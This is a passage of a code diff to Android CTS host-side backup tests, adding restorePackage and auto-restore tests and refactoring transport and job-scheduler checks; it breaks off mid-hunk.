@@ -17,6 +17,10 @@
package android.cts.backup.keyvaluerestoreapp;
import android.app.backup.BackupAgentHelper;
+import android.app.backup.BackupDataInput;
+import android.app.backup.BackupDataOutput;
+import android.os.ParcelFileDescriptor;
+import java.io.IOException;
public class KeyValueBackupAgent extends BackupAgentHelper {
@@ -31,4 +35,20 @@
addHelper(KEY_BACKUP_TEST_FILES_PREFIX,
KeyValueBackupRestoreTest.getFileBackupHelper(this));
}
+
+ @Override
+ public void onBackup(ParcelFileDescriptor oldState, BackupDataOutput data,
+ ParcelFileDescriptor newState) throws IOException {
+ // Explicitly override and call super() to help go/android-api-coverage-dashboard pick up
+ // the test coverage (b/113067697).
+ super.onBackup(oldState, data, newState);
+ }
+
+ @Override
+ public void onRestore(BackupDataInput data, int appVersionCode, ParcelFileDescriptor newState)
+ throws IOException {
+ // Explicitly override and call super() to help go/android-api-coverage-dashboard pick up
+ // the test coverage (b/113067697).
+ super.onRestore(data, appVersionCode, newState);
+ }
}
diff --git a/hostsidetests/backup/OWNERS b/hostsidetests/backup/OWNERS
index c28c4d8..e0e5e22 100644
--- a/hostsidetests/backup/OWNERS
+++ b/hostsidetests/backup/OWNERS
@@ -2,6 +2,7 @@
# Use this reviewer by default.
br-framework-team+reviews@google.com
+alsutton@google.com
anniemeng@google.com
brufino@google.com
nathch@google.com
diff --git a/hostsidetests/backup/RestoreSessionTest/src/android/cts/backup/restoresessionapp/RestoreSessionTest.java b/hostsidetests/backup/RestoreSessionTest/src/android/cts/backup/restoresessionapp/RestoreSessionTest.java
index 06b9ae0..adb7822 100644
--- a/hostsidetests/backup/RestoreSessionTest/src/android/cts/backup/restoresessionapp/RestoreSessionTest.java
+++ b/hostsidetests/backup/RestoreSessionTest/src/android/cts/backup/restoresessionapp/RestoreSessionTest.java
@@ -24,7 +24,6 @@
import static org.junit.Assert.assertNotEquals;
-import android.app.Instrumentation;
import android.app.UiAutomation;
import android.app.backup.BackupManager;
import android.app.backup.BackupManagerMonitor;
@@ -34,10 +33,10 @@
import android.content.Context;
import android.os.Bundle;
+import androidx.annotation.Nullable;
import android.platform.test.annotations.AppModeFull;
import androidx.test.runner.AndroidJUnit4;
-// import com.android.compatibility.common.util.SystemUtil;
import org.junit.After;
import org.junit.Before;
import org.junit.Test;
@@ -55,15 +54,19 @@
@RunWith(AndroidJUnit4.class)
@AppModeFull
public class RestoreSessionTest {
- private static final String PACKAGE_1 = "android.cts.backup.restoresessionapp1";
- private static final String PACKAGE_2 = "android.cts.backup.restoresessionapp2";
- private static final String PACKAGE_3 = "android.cts.backup.restoresessionapp3";
+ private static final String[] PACKAGES = new String[] {
+ "android.cts.backup.restoresessionapp1",
+ "android.cts.backup.restoresessionapp2",
+ "android.cts.backup.restoresessionapp3"
+ };
+ private static final int PACKAGES_COUNT = 3;
private static final int RESTORE_TIMEOUT_SECONDS = 10;
private BackupManager mBackupManager;
private Set<String> mRestorePackages;
private Set<String> mNonRestorePackages;
+ private CountDownLatch mRestoreSetsLatch;
private CountDownLatch mRestoreObserverLatch;
private RestoreSession mRestoreSession;
private UiAutomation mUiAutomation;
@@ -89,7 +92,7 @@
mRestoreToken = token;
- mRestoreObserverLatch.countDown();
+ mRestoreSetsLatch.countDown();
}
@Override
@@ -129,19 +132,10 @@
Context context = getTargetContext();
mBackupManager = new BackupManager(context);
- mRestorePackages = new HashSet<>();
- mRestorePackages.add(PACKAGE_1);
- mRestorePackages.add(PACKAGE_2);
-
- mNonRestorePackages = new HashSet<>();
- mNonRestorePackages.add(PACKAGE_3);
-
mRestoreToken = 0L;
mUiAutomation = getInstrumentation().getUiAutomation();
mUiAutomation.adoptShellPermissionIdentity();
-
- loadAvailableRestoreSets();
}
@After
@@ -151,11 +145,47 @@
/**
* Restore packages added to mRestorePackages and verify only those packages are restored. Use
+ * {@link RestoreSession#restorePackage(String, RestoreObserver)}
+ */
+
+ @Test
+ public void testRestorePackage() throws InterruptedException {
+ initPackagesToRestore(/* packagesCount */ 1);
+ testRestorePackagesInternal((BackupManagerMonitor monitor) -> {
+ mRestoreSession.restorePackage(
+ mRestorePackages.iterator().next(),
+ mRestoreObserver);
+ }, false);
+ }
+
+ /**
+ * Restore packages added to mRestorePackages and verify only those packages are restored. Use
+ * {@link RestoreSession#restorePackage(String, RestoreObserver, BackupManagerMonitor)}
+ */
+ @Test
+ public void testRestorePackageWithMonitorParam() throws InterruptedException {
+ initPackagesToRestore(/* packagesCount */ 1);
+ testRestorePackagesInternal((BackupManagerMonitor monitor) -> {
+ mRestoreSession.restorePackage(
+ mRestorePackages.iterator().next(),
+ mRestoreObserver,
+ monitor);
+ }, true);
+ }
+
+ /**
+ * Restore packages added to mRestorePackages and verify only those packages are restored. Use
* {@link RestoreSession#restorePackages(long, RestoreObserver, Set)}
*/
@Test
public void testRestorePackages() throws InterruptedException {
- testRestorePackagesInternal(false);
+ initPackagesToRestore(/* packagesCount */ 2);
+ testRestorePackagesInternal((BackupManagerMonitor monitor) -> {
+ mRestoreSession.restorePackages(
+ mRestoreToken,
+ mRestoreObserver,
+ mRestorePackages);
+ }, false);
}
/**
@@ -164,24 +194,30 @@
*/
@Test
public void testRestorePackagesWithMonitorParam() throws InterruptedException {
- testRestorePackagesInternal(true);
+ initPackagesToRestore(/* packagesCount */ 2);
+ testRestorePackagesInternal((BackupManagerMonitor monitor) -> {
+ mRestoreSession.restorePackages(
+ mRestoreToken,
+ mRestoreObserver,
+ mRestorePackages,
+ monitor);
+ }, true);
}
- private void testRestorePackagesInternal(boolean useMonitorParam) throws InterruptedException {
- // Wait for the callbacks from RestoreObserver: one for each package from
- // mRestorePackages plus restoreStarting and restoreFinished.
- mRestoreObserverLatch = new CountDownLatch(mRestorePackages.size() + 2);
+ private void testRestorePackagesInternal(RestoreRunner restoreRunner, boolean useMonitorParam)
+ throws InterruptedException {
CountDownLatch backupMonitorLatch = null;
if (useMonitorParam) {
// Wait for the callbacks from BackupManagerMonitor: one for each package.
backupMonitorLatch = new CountDownLatch(mRestorePackages.size());
- mRestoreSession.restorePackages(
- mRestoreToken,
- mRestoreObserver,
- mRestorePackages,
- new TestBackupMonitor(backupMonitorLatch));
+ BackupManagerMonitor backupMonitor = new TestBackupMonitor(backupMonitorLatch);
+
+ loadAvailableRestoreSets(backupMonitor);
+
+ restoreRunner.runRestore(backupMonitor);
} else {
- mRestoreSession.restorePackages(mRestoreToken, mRestoreObserver, mRestorePackages);
+ loadAvailableRestoreSets(null);
+ restoreRunner.runRestore(null);
}
awaitResultAndAssertSuccess(mRestoreObserverLatch);
@@ -190,13 +226,16 @@
}
}
- private void loadAvailableRestoreSets() throws InterruptedException {
+ private void loadAvailableRestoreSets(@Nullable BackupManagerMonitor monitor)
+ throws InterruptedException {
// Wait for getAvailableRestoreSets to finish and the callback to be fired.
- mRestoreObserverLatch = new CountDownLatch(1);
+ mRestoreSetsLatch = new CountDownLatch(1);
mRestoreSession = mBackupManager.beginRestoreSession();
assertEquals(
- BackupManager.SUCCESS, mRestoreSession.getAvailableRestoreSets(mRestoreObserver));
- awaitResultAndAssertSuccess(mRestoreObserverLatch);
+ BackupManager.SUCCESS, monitor == null
+ ? mRestoreSession.getAvailableRestoreSets(mRestoreObserver)
+ : mRestoreSession.getAvailableRestoreSets(mRestoreObserver, monitor));
+ awaitResultAndAssertSuccess(mRestoreSetsLatch);
assertNotEquals("Restore set not found", 0L, mRestoreToken);
}
@@ -215,6 +254,23 @@
assertTrue("Restore timed out", waitResult);
}
+ private void initPackagesToRestore(int packagesCount) {
+ mRestorePackages = new HashSet<>();
+ mNonRestorePackages = new HashSet<>();
+
+ for (int i = 0; i < PACKAGES_COUNT; i++) {
+ if (i < packagesCount) {
+ mRestorePackages.add(PACKAGES[i]);
+ } else {
+ mNonRestorePackages.add(PACKAGES[i]);
+ }
+ }
+
+ // Wait for the callbacks from RestoreObserver: one for each package from
+ // mRestorePackages plus restoreStarting and restoreFinished.
+ mRestoreObserverLatch = new CountDownLatch(mRestorePackages.size() + 2);
+ }
+
private static class TestBackupMonitor extends BackupManagerMonitor {
private final CountDownLatch mLatch;
@@ -234,4 +290,9 @@
mLatch.countDown();
}
}
+
+ @FunctionalInterface
+ private interface RestoreRunner {
+ void runRestore(BackupManagerMonitor monitor) throws InterruptedException;
+ }
}
diff --git a/hostsidetests/backup/fullbackupapp/Android.bp b/hostsidetests/backup/fullbackupapp/Android.bp
index 696be0c..a1926d0 100644
--- a/hostsidetests/backup/fullbackupapp/Android.bp
+++ b/hostsidetests/backup/fullbackupapp/Android.bp
@@ -13,7 +13,7 @@
// limitations under the License.
android_test_helper_app {
- name: "CtsFullbackupApp",
+ name: "CtsHostsideTestsFullBackupApp",
defaults: ["cts_defaults"],
static_libs: [
"androidx.test.rules",
diff --git a/hostsidetests/backup/src/android/cts/backup/AutoRestoreHostSideTest.java b/hostsidetests/backup/src/android/cts/backup/AutoRestoreHostSideTest.java
new file mode 100644
index 0000000..99d147c
--- /dev/null
+++ b/hostsidetests/backup/src/android/cts/backup/AutoRestoreHostSideTest.java
@@ -0,0 +1,139 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.backup;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.platform.test.annotations.AppModeFull;
+
+import com.android.compatibility.common.util.BackupUtils;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.Optional;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+/** Test verifying that {@link BackupManager#setAutoRestore(boolean)} setting is respected. */
+@RunWith(DeviceJUnit4ClassRunner.class)
+@AppModeFull
+public class AutoRestoreHostSideTest extends BaseBackupHostSideTest {
+ private static final String PACKAGE = "android.cts.backup.autorestoreapp";
+ private static final String CLASS = PACKAGE + ".AutoRestoreTest";
+ private static final String APK = "CtsAutoRestoreApp.apk";
+
+ private BackupUtils mBackupUtils;
+ private Optional<Boolean> mWasAutoRestoreEnabled = Optional.empty();
+
+ @Before
+ @Override
+ public void setUp() throws Exception {
+ super.setUp();
+
+ mBackupUtils = getBackupUtils();
+ mWasAutoRestoreEnabled = Optional.of(isAutoRestoreEnabled());
+
+ installPackage(APK);
+ }
+
+ @After
+ @Override
+ public void tearDown() throws Exception {
+ super.tearDown();
+
+ if (mWasAutoRestoreEnabled.isPresent()) {
+ mBackupUtils.executeShellCommandSync(
+ "bmgr autorestore " + (mWasAutoRestoreEnabled.get() ? "true" : "false"));
+ uninstallPackage(PACKAGE);
+
+ mWasAutoRestoreEnabled = Optional.empty();
+ }
+ }
+
+ /**
+ *
+ *
+ * <ol>
+ * <li>Enable auto restore
+ * <li>Write dummy values to shared preferences
+ * <li>Backup the package
+ * <li>Uninstall the package
+ * <li>Install the package again and verify shared prefs are restored
+ * </ol>
+ */
+ @Test
+ public void testSetAutoRestore_autoRestoresDataWhenEnabled() throws Exception {
+ runDeviceProcedure("enableAutoRestore");
+
+ populateSharedPrefs();
+
+ backupAndReinstallPackage();
+
+ runDeviceProcedure("testCheckSharedPrefsExist");
+ }
+
+ /**
+ *
+ *
+ * <ol>
+ * <li>Disable auto restore
+ * <li>Write dummy values to shared preferences
+ * <li>Backup the package
+ * <li>Uninstall the package
+ * <li>Install the package again and verify shared prefs aren't restored
+ * </ol>
+ */
+ @Test
+ public void testSetAutoRestore_dontAutoRestoresDataWhenDisabled() throws Exception {
+ runDeviceProcedure("disableAutoRestore");
+
+ populateSharedPrefs();
+
+ backupAndReinstallPackage();
+
+ runDeviceProcedure("testCheckSharedPrefsDontExist");
+ }
+
+ private void populateSharedPrefs() throws Exception {
+ runDeviceProcedure("saveValuesToSharedPrefs");
+ runDeviceProcedure("testCheckSharedPrefsExist");
+ }
+
+ private void backupAndReinstallPackage() throws Exception {
+ mBackupUtils.backupNowAndAssertSuccess(PACKAGE);
+ uninstallPackage(PACKAGE);
+ installPackage(APK);
+ }
+
+ private boolean isAutoRestoreEnabled() throws Exception {
+ String output = mBackupUtils.executeShellCommandAndReturnOutput("dumpsys backup");
+ Pattern pattern = Pattern.compile("Auto-restore is (enabled|disabled)");
+ Matcher matcher = pattern.matcher(output.trim());
+
+ assertThat(matcher.find()).isTrue();
+
+ return "enabled".equals(matcher.group(1));
+ }
+
+ private void runDeviceProcedure(String testName) throws Exception {
+ runDeviceTests(PACKAGE, CLASS, testName);
+ }
+}
diff --git a/hostsidetests/backup/src/android/cts/backup/BackupPreparer.java b/hostsidetests/backup/src/android/cts/backup/BackupPreparer.java
index 11a1dbc..1f33a1a 100644
--- a/hostsidetests/backup/src/android/cts/backup/BackupPreparer.java
+++ b/hostsidetests/backup/src/android/cts/backup/BackupPreparer.java
@@ -16,6 +16,10 @@
package android.cts.backup;
+import static org.junit.Assert.fail;
+
+import com.android.compatibility.common.util.BackupHostSideUtils;
+import com.android.compatibility.common.util.BackupUtils;
import com.android.tradefed.build.IBuildInfo;
import com.android.tradefed.config.Option;
import com.android.tradefed.config.OptionClass;
@@ -27,7 +31,11 @@
import com.android.tradefed.targetprep.ITargetCleaner;
import com.android.tradefed.targetprep.TargetSetupError;
+import java.io.IOException;
+import java.util.concurrent.Callable;
+import java.util.concurrent.CompletionException;
import java.util.concurrent.TimeUnit;
+import java.util.function.Function;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
@@ -38,6 +46,7 @@
*/
@OptionClass(alias = "backup-preparer")
public class BackupPreparer implements ITargetCleaner {
+ private static final long TRANSPORT_AVAILABLE_TIMEOUT_SECONDS = TimeUnit.MINUTES.toSeconds(5);
@Option(name="enable-backup-if-needed", description=
"Enable backup before all the tests and return to the original state after.")
private boolean mEnableBackup = true;
@@ -52,20 +61,19 @@
private static final String LOCAL_TRANSPORT =
"com.android.localtransport/.LocalTransport";
-
- private static final int BACKUP_PROVISIONING_TIMEOUT_SECONDS = 30;
- private static final int BACKUP_PROVISIONING_POLL_INTERVAL_SECONDS = 1;
+ private final int USER_SYSTEM = 0;
private boolean mIsBackupSupported;
private boolean mWasBackupEnabled;
private String mOldTransport;
private ITestDevice mDevice;
+ private BackupUtils mBackupUtils;
@Override
public void setUp(ITestDevice device, IBuildInfo buildInfo)
throws TargetSetupError, BuildError, DeviceNotAvailableException {
mDevice = device;
-
+ mBackupUtils = BackupHostSideUtils.createBackupUtils(mDevice);
mIsBackupSupported = mDevice.hasFeature("feature:" + FEATURE_BACKUP);
// In case the device was just rebooted, wait for the broadcast queue to get idle to avoid
@@ -73,11 +81,15 @@
waitForBroadcastIdle();
if (mIsBackupSupported) {
- // Enable backup and select local backup transport
- if (!hasBackupTransport(LOCAL_TRANSPORT)) {
- throw new TargetSetupError("Device should have LocalTransport available",
- device.getDeviceDescriptor());
+ BackupHostSideUtils.checkSetupComplete(mDevice);
+ if (!isBackupActiveForSysytemUser()) {
+ throw new TargetSetupError("Cannot run test as backup is not active for system "
+ + "user", device.getDeviceDescriptor());
}
+
+ // Enable backup and select local backup transport
+ waitForTransport(LOCAL_TRANSPORT);
+
if (mEnableBackup) {
CLog.i("Enabling backup on %s", mDevice.getSerialNumber());
mWasBackupEnabled = enableBackup(true);
@@ -87,7 +99,11 @@
mOldTransport = setBackupTransport(LOCAL_TRANSPORT);
CLog.d("Old transport : %s", mOldTransport);
}
- waitForBackupInitialization();
+ try {
+ mBackupUtils.waitForBackupInitialization();
+ } catch (IOException e) {
+ throw new TargetSetupError("Backup not initialized", e);
+ }
}
}
}
@@ -99,7 +115,8 @@
if (mIsBackupSupported) {
if (mEnableBackup) {
- CLog.i("Returning backup to it's previous state on %s", mDevice.getSerialNumber());
+ CLog.i("Returning backup to it's previous state on %s",
+ mDevice.getSerialNumber());
enableBackup(mWasBackupEnabled);
if (mSelectLocalTransport) {
CLog.i("Returning selected transport to it's previous value on %s",
@@ -110,17 +127,58 @@
}
}
- // Copied over from BackupQuotaTest
- private boolean hasBackupTransport(String transport) throws DeviceNotAvailableException {
+ private void waitForTransport(String transport) throws TargetSetupError {
+ try {
+ waitUntilWithLastTry(
+ "Local transport didn't become available",
+ TRANSPORT_AVAILABLE_TIMEOUT_SECONDS,
+ lastTry -> uncheck(() -> hasBackupTransport(transport, lastTry)));
+ } catch (InterruptedException e) {
+ throw new TargetSetupError(
+ "Device should have LocalTransport available", mDevice.getDeviceDescriptor());
+ }
+ }
+
+ private boolean hasBackupTransport(String transport, boolean logIfFail)
+ throws DeviceNotAvailableException, TargetSetupError {
String output = mDevice.executeShellCommand("bmgr list transports");
for (String t : output.split(" ")) {
if (transport.equals(t.trim())) {
return true;
}
}
+ if (logIfFail) {
+ throw new TargetSetupError(
+ transport + " not available. bmgr list transports: " + output,
+ mDevice.getDeviceDescriptor());
+ }
return false;
}
+ /**
+ * Calls {@code predicate} with {@code false} until time-out {@code timeoutSeconds} is reached,
+ * if {@code predicate} returns true, method returns. If time-out is reached before that, we
+ * call {@code predicate} with {@code true} one last time, if that last call returns false we
+ * fail with {@code message}.
+ *
+ * TODO: Move to CommonTestUtils
+ */
+ private static void waitUntilWithLastTry(
+ String message, long timeoutSeconds, Function<Boolean, Boolean> predicate)
+ throws InterruptedException {
+ int sleep = 125;
+ final long timeout = System.currentTimeMillis() + timeoutSeconds * 1000;
+ while (System.currentTimeMillis() < timeout) {
+ if (predicate.apply(false)) {
+ return;
+ }
+ Thread.sleep(sleep);
+ }
+ if (!predicate.apply(true)) {
+ fail(message);
+ }
+ }
+
// Copied over from BackupQuotaTest
private boolean enableBackup(boolean enable) throws DeviceNotAvailableException {
boolean previouslyEnabled;
@@ -149,27 +207,6 @@
}
}
- private void waitForBackupInitialization()
- throws TargetSetupError, DeviceNotAvailableException {
- long tryUntilNanos = System.nanoTime()
- + TimeUnit.SECONDS.toNanos(BACKUP_PROVISIONING_TIMEOUT_SECONDS);
- while (System.nanoTime() < tryUntilNanos) {
- String output = mDevice.executeShellCommand("dumpsys backup");
- if (output.matches("(?s)" // DOTALL
- + "^Backup Manager is .* not pending init.*")) {
- return;
- }
- try {
- Thread.sleep(TimeUnit.SECONDS.toMillis(BACKUP_PROVISIONING_POLL_INTERVAL_SECONDS));
- } catch (InterruptedException e) {
- Thread.currentThread().interrupt();
- break;
- }
- }
- throw new TargetSetupError("Timed out waiting for backup initialization",
- mDevice.getDeviceDescriptor());
- }
-
// Copied over from BaseDevicePolicyTest
private void waitForBroadcastIdle() throws DeviceNotAvailableException, TargetSetupError {
CollectingOutputReceiver receiver = new CollectingOutputReceiver();
@@ -190,4 +227,21 @@
}
}
+ private boolean isBackupActiveForSysytemUser() {
+ try {
+ return mBackupUtils.isBackupActivatedForUser(USER_SYSTEM);
+ } catch (IOException e) {
+ throw new RuntimeException("Failed to check backup activation status");
+ }
+ }
+
+ private static <T> T uncheck(Callable<T> callable) {
+ try {
+ return callable.call();
+ } catch (RuntimeException e) {
+ throw e;
+ } catch (Exception e) {
+ throw new CompletionException(e);
+ }
+ }
}
diff --git a/hostsidetests/backup/src/android/cts/backup/BackupTransportHostSideTest.java b/hostsidetests/backup/src/android/cts/backup/BackupTransportHostSideTest.java
new file mode 100644
index 0000000..a6a4f3a
--- /dev/null
+++ b/hostsidetests/backup/src/android/cts/backup/BackupTransportHostSideTest.java
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.backup;
+
+import static org.junit.Assert.assertTrue;
+
+import org.junit.Test;
+
+/** Test verifying the default implementation of {@link BackupTransport} */
+// TODO(b/135920714): Move this test to device-side once it's possible to use both system and test
+// APIs in the same target.
+public class BackupTransportHostSideTest extends BaseBackupHostSideTest {
+ private static final String PACKAGE = "android.cts.backup.backuptransportapp";
+ private static final String CLASS = PACKAGE + ".BackupTransportTest";
+ private static final String APK = "CtsBackupTransportApp.apk";
+
+ @Test
+ public void testBackupTransport() throws Exception {
+ installPackage(APK);
+ assertTrue(runDeviceTests(PACKAGE, CLASS));
+ uninstallPackage(PACKAGE);
+ }
+}
diff --git a/hostsidetests/backup/src/android/cts/backup/BaseMultiUserBackupHostSideTest.java b/hostsidetests/backup/src/android/cts/backup/BaseMultiUserBackupHostSideTest.java
index 81737e9..26c6345 100644
--- a/hostsidetests/backup/src/android/cts/backup/BaseMultiUserBackupHostSideTest.java
+++ b/hostsidetests/backup/src/android/cts/backup/BaseMultiUserBackupHostSideTest.java
@@ -23,7 +23,7 @@
import android.platform.test.annotations.AppModeFull;
import com.android.compatibility.common.util.BackupUtils;
-import com.android.compatibility.common.util.HostSideTestUtils;
+import com.android.compatibility.common.util.CommonTestUtils;
import com.android.tradefed.device.DeviceNotAvailableException;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.log.LogUtil.CLog;
@@ -58,7 +58,7 @@
FULL_BACKUP_TEST_PACKAGE + ".ProfileFullBackupRestoreTest";
protected final BackupUtils mBackupUtils = getBackupUtils();
- protected ITestDevice mDevice;
+ private ITestDevice mDevice;
// Store initial device state as Optional as tearDown() will execute even if we have assumption
// failures in setUp().
@@ -138,15 +138,16 @@
* Selects the local transport as the current transport for user {@code userId}. Returns the
* {@link String} name of the local transport.
*/
- String switchUserToLocalTransportAndAssertSuccess(int userId) throws IOException {
+ String switchUserToLocalTransportAndAssertSuccess(int userId)
+ throws Exception {
// Make sure the user has the local transport.
String localTransport = mBackupUtils.getLocalTransportName();
// TODO (b/121198010): Update dumpsys or add shell command to query status of transport
// initialization. Transports won't be available until they are initialized/registered.
- HostSideTestUtils.waitUntil("wait for user to have local transport",
+ CommonTestUtils.waitUntil("wait for user to have local transport",
TRANSPORT_INITIALIZATION_TIMEOUT_SECS,
- () -> mBackupUtils.userHasBackupTransport(localTransport, userId));
+ () -> userHasBackupTransport(localTransport, userId));
// Switch to the local transport and assert success.
mBackupUtils.setBackupTransportForUser(localTransport, userId);
@@ -155,6 +156,18 @@
return localTransport;
}
+ // TODO(b/139652329): Move to backup utils.
+ private boolean userHasBackupTransport(
+ String transport, int userId) throws DeviceNotAvailableException {
+ String output = mDevice.executeShellCommand("bmgr --user " + userId + " list transports");
+ for (String t : output.split(" ")) {
+ if (transport.equals(t.replace("*", "").trim())) {
+ return true;
+ }
+ }
+ return false;
+ }
+
/** Runs "bmgr --user <id> wipe <transport> <package>" to clear the backup data. */
void clearBackupDataInTransportForUser(String packageName, String transport, int userId)
throws DeviceNotAvailableException {
diff --git a/hostsidetests/backup/src/android/cts/backup/MultiUserBackupStateTest.java b/hostsidetests/backup/src/android/cts/backup/MultiUserBackupStateTest.java
index 4fa4469..25c59d6 100644
--- a/hostsidetests/backup/src/android/cts/backup/MultiUserBackupStateTest.java
+++ b/hostsidetests/backup/src/android/cts/backup/MultiUserBackupStateTest.java
@@ -20,7 +20,7 @@
import android.platform.test.annotations.AppModeFull;
-import com.android.compatibility.common.util.HostSideTestUtils;
+import com.android.compatibility.common.util.CommonTestUtils;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import org.junit.After;
@@ -44,7 +44,7 @@
public void setUp() throws Exception {
super.setUp();
- int profileUserId = createProfileUser(mDevice.getCurrentUser(), "MU-State");
+ int profileUserId = createProfileUser(getDevice().getCurrentUser(), "MU-State");
mProfileUserId = Optional.of(profileUserId);
startUser(profileUserId);
}
@@ -54,7 +54,7 @@
@Override
public void tearDown() throws Exception {
if (mProfileUserId.isPresent()) {
- assertTrue(mDevice.removeUser(mProfileUserId.get()));
+ assertTrue(getDevice().removeUser(mProfileUserId.get()));
mProfileUserId = Optional.empty();
}
super.tearDown();
@@ -77,10 +77,10 @@
assertTrue(mBackupUtils.isBackupActivatedForUser(profileUserId));
- assertTrue(mDevice.removeUser(profileUserId));
+ assertTrue(getDevice().removeUser(profileUserId));
mProfileUserId = Optional.empty();
- HostSideTestUtils.waitUntil("wait for backup to be deactivated for removed user",
+ CommonTestUtils.waitUntil("wait for backup to be deactivated for removed user",
TIMEOUT_SECONDS, () -> !mBackupUtils.isBackupActivatedForUser(profileUserId));
}
}
diff --git a/hostsidetests/backup/src/android/cts/backup/ProfileScheduledJobHostSideTest.java b/hostsidetests/backup/src/android/cts/backup/ProfileScheduledJobHostSideTest.java
index 7eff018..874282b 100644
--- a/hostsidetests/backup/src/android/cts/backup/ProfileScheduledJobHostSideTest.java
+++ b/hostsidetests/backup/src/android/cts/backup/ProfileScheduledJobHostSideTest.java
@@ -21,6 +21,9 @@
import android.platform.test.annotations.AppModeFull;
import com.android.compatibility.common.util.BackupUtils;
+import com.android.compatibility.common.util.ProtoUtils;
+import com.android.server.job.JobSchedulerServiceDumpProto;
+import com.android.server.job.JobStatusShortInfoProto;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -29,10 +32,7 @@
import org.junit.Test;
import org.junit.runner.RunWith;
-import java.io.IOException;
import java.util.Optional;
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
/** Test that key-value and full backup jobs are scheduled in a profile. */
@RunWith(DeviceJUnit4ClassRunner.class)
@@ -60,7 +60,6 @@
private static final int TIMEOUT_FOR_KEY_VALUE_SECONDS = 5 * 60; // 5 minutes.
private static final int TIMEOUT_FOR_FULL_BACKUP_SECONDS = 5 * 60; // 5 minutes.
- private static final String DUMPSYS_JOB_SCHEDULER = "dumpsys jobscheduler";
private static final String JOB_SCHEDULER_RUN_COMMAND = "cmd jobscheduler run -f android";
private final BackupUtils mBackupUtils = getBackupUtils();
@@ -196,10 +195,19 @@
}
/** Returns {@code true} if there is a system job scheduled with the specified parameters. */
- private boolean isSystemJobScheduled(int jobId, String jobName) throws IOException {
- String output = mBackupUtils.executeShellCommandAndReturnOutput(DUMPSYS_JOB_SCHEDULER);
- String jobRegex = String.format("JOB #1000/%d.*%s", jobId, jobName);
- Matcher matcher = Pattern.compile(jobRegex).matcher(output.trim());
- return matcher.find();
+ private boolean isSystemJobScheduled(int jobId, String jobName) throws Exception {
+ // TODO: Look into making a higher level adb command or a system API for this instead.
+ // (e.g. "adb shell cmd jobscheduler is-job-scheduled system JOB-ID JOB-NAME")
+ final JobSchedulerServiceDumpProto dump =
+ ProtoUtils.getProto(mDevice, JobSchedulerServiceDumpProto.parser(),
+ ProtoUtils.DUMPSYS_JOB_SCHEDULER);
+ for (JobSchedulerServiceDumpProto.RegisteredJob job : dump.getRegisteredJobsList()) {
+ final JobStatusShortInfoProto info = job.getInfo();
+ if (info.getCallingUid() == 1000 && info.getJobId() == jobId
+ && jobName.equals(info.getBatteryName())) {
+ return true;
+ }
+ }
+ return false;
}
}
diff --git a/hostsidetests/backup/src/android/cts/backup/RestoreSessionHostSideTest.java b/hostsidetests/backup/src/android/cts/backup/RestoreSessionHostSideTest.java
index 9c5d890..89e2539 100644
--- a/hostsidetests/backup/src/android/cts/backup/RestoreSessionHostSideTest.java
+++ b/hostsidetests/backup/src/android/cts/backup/RestoreSessionHostSideTest.java
@@ -72,10 +72,25 @@
}
}
+ /** Test {@link RestoreSession#restorePackage(RestoreObserver, String)} */
+ @Test
+ public void testRestorePackage() throws Exception {
+ testRestorePackagesInternal("testRestorePackage", /* packagesToRestore */ 1);
+ }
+
+ /**
+ * Test {@link RestoreSession#restorePackage(RestoreObserver, String, BackupManagerMonitor)}
+ */
+ @Test
+ public void testRestorePackageWithMonitorParam() throws Exception {
+ testRestorePackagesInternal("testRestorePackageWithMonitorParam",
+ /* packagesToRestore */ 1);
+ }
+
/** Test {@link RestoreSession#restorePackages(long, RestoreObserver, Set)} */
@Test
public void testRestorePackages() throws Exception {
- testRestorePackagesInternal("testRestorePackages");
+ testRestorePackagesInternal("testRestorePackages", /* packagesToRestore */ 2);
}
/**
@@ -83,7 +98,8 @@
*/
@Test
public void testRestorePackagesWithMonitorParam() throws Exception {
- testRestorePackagesInternal("testRestorePackagesWithMonitorParam");
+ testRestorePackagesInternal("testRestorePackagesWithMonitorParam",
+ /* packagesToRestore */ 2);
}
/**
@@ -94,15 +110,16 @@
* <li>Write dummy values to shared preferences for each package
* <li>Backup each package (adb shell bmgr backupnow)
* <li>Clear shared preferences for each package
- * <li>Run restore for 2 of the packages and verify that only they were restored
- * <li>Verify that shared preferences for the 2 packages are restored correctly
+ * <li>Run restore for the first {@code numPackagesToRestore}, verify only those are restored
+ * <li>Verify that shared preferences for the restored packages are restored correctly
* </ol>
*/
- private void testRestorePackagesInternal(String deviceTestName) throws Exception {
+ private void testRestorePackagesInternal(String deviceTestName, int numPackagesToRestore)
+ throws Exception {
installPackage(getApkNameForTestApp(1));
installPackage(getApkNameForTestApp(2));
installPackage(getApkNameForTestApp(3));
- //
+
// Write dummy value to shared preferences for all test packages.
checkRestoreSessionDeviceTestForAllApps("testSaveValuesToSharedPrefs");
checkRestoreSessionDeviceTestForAllApps("testCheckSharedPrefsExist");
@@ -119,11 +136,15 @@
runRestoreSessionDeviceTestAndAssertSuccess(
